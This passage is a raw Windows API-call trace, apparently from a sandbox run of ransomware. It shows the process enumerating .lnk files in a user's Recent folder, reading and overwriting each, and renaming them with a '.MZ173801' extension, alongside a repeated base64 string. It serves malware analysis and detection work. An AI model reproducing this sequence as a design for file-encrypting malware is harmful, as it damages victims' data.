OTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.788] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ogiWVCr.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ogiwvcr.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.788] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.788] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.788] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xe05 [0121.788] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.788] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xe05, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xe05, lpOverlapped=0x0) returned 1 [0121.789] CloseHandle (hObject=0x288) returned 1 [0121.790] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ogiWVCr.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ogiwvcr.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.791] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xe05, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xe05, lpOverlapped=0x0) returned 1 [0121.792] CloseHandle (hObject=0x288) returned 1 [0121.793] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ogiWVCr.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ogiwvcr.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ogiWVCr.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ogiwvcr.lnk.mz173801")) returned 1 [0121.794] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdef6bbc0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdef6bbc0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdef6bbc0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="orOhlbth5jzmFQ3SQWnK.lnk", cAlternateFileName="OROHLB~1.LNK")) returned 1 [0121.794] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.794] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.794] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\orOhlbth5jzmFQ3SQWnK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\orohlbth5jzmfq3sqwnk.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdef6bbc0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdef6bbc0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdef6bbc0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x4b4)) returned 1 [0121.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.799] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\orOhlbth5jzmFQ3SQWnK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\orohlbth5jzmfq3sqwnk.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.799] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.799] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.799] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x4b4 [0121.799] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.799] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x4b4, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x4b4, lpOverlapped=0x0) returned 1 [0121.800] CloseHandle (hObject=0x288) returned 1 [0121.801] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\orOhlbth5jzmFQ3SQWnK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\orohlbth5jzmfq3sqwnk.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.802] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x4b4, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x4b4, lpOverlapped=0x0) returned 1 [0121.803] CloseHandle (hObject=0x288) returned 1 [0121.805] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\orOhlbth5jzmFQ3SQWnK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\orohlbth5jzmfq3sqwnk.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\orOhlbth5jzmFQ3SQWnK.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\orohlbth5jzmfq3sqwnk.lnk.mz173801")) returned 1 [0121.806] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddc86d20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xddc86d20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddc86d20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1465, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="osw2Nhv0uI-g.lnk", cAlternateFileName="OSW2NH~1.LNK")) returned 1 [0121.806] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.806] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.806] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\osw2Nhv0uI-g.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\osw2nhv0ui-g.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddc86d20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xddc86d20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddc86d20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1465)) returned 1 [0121.808] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.809] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 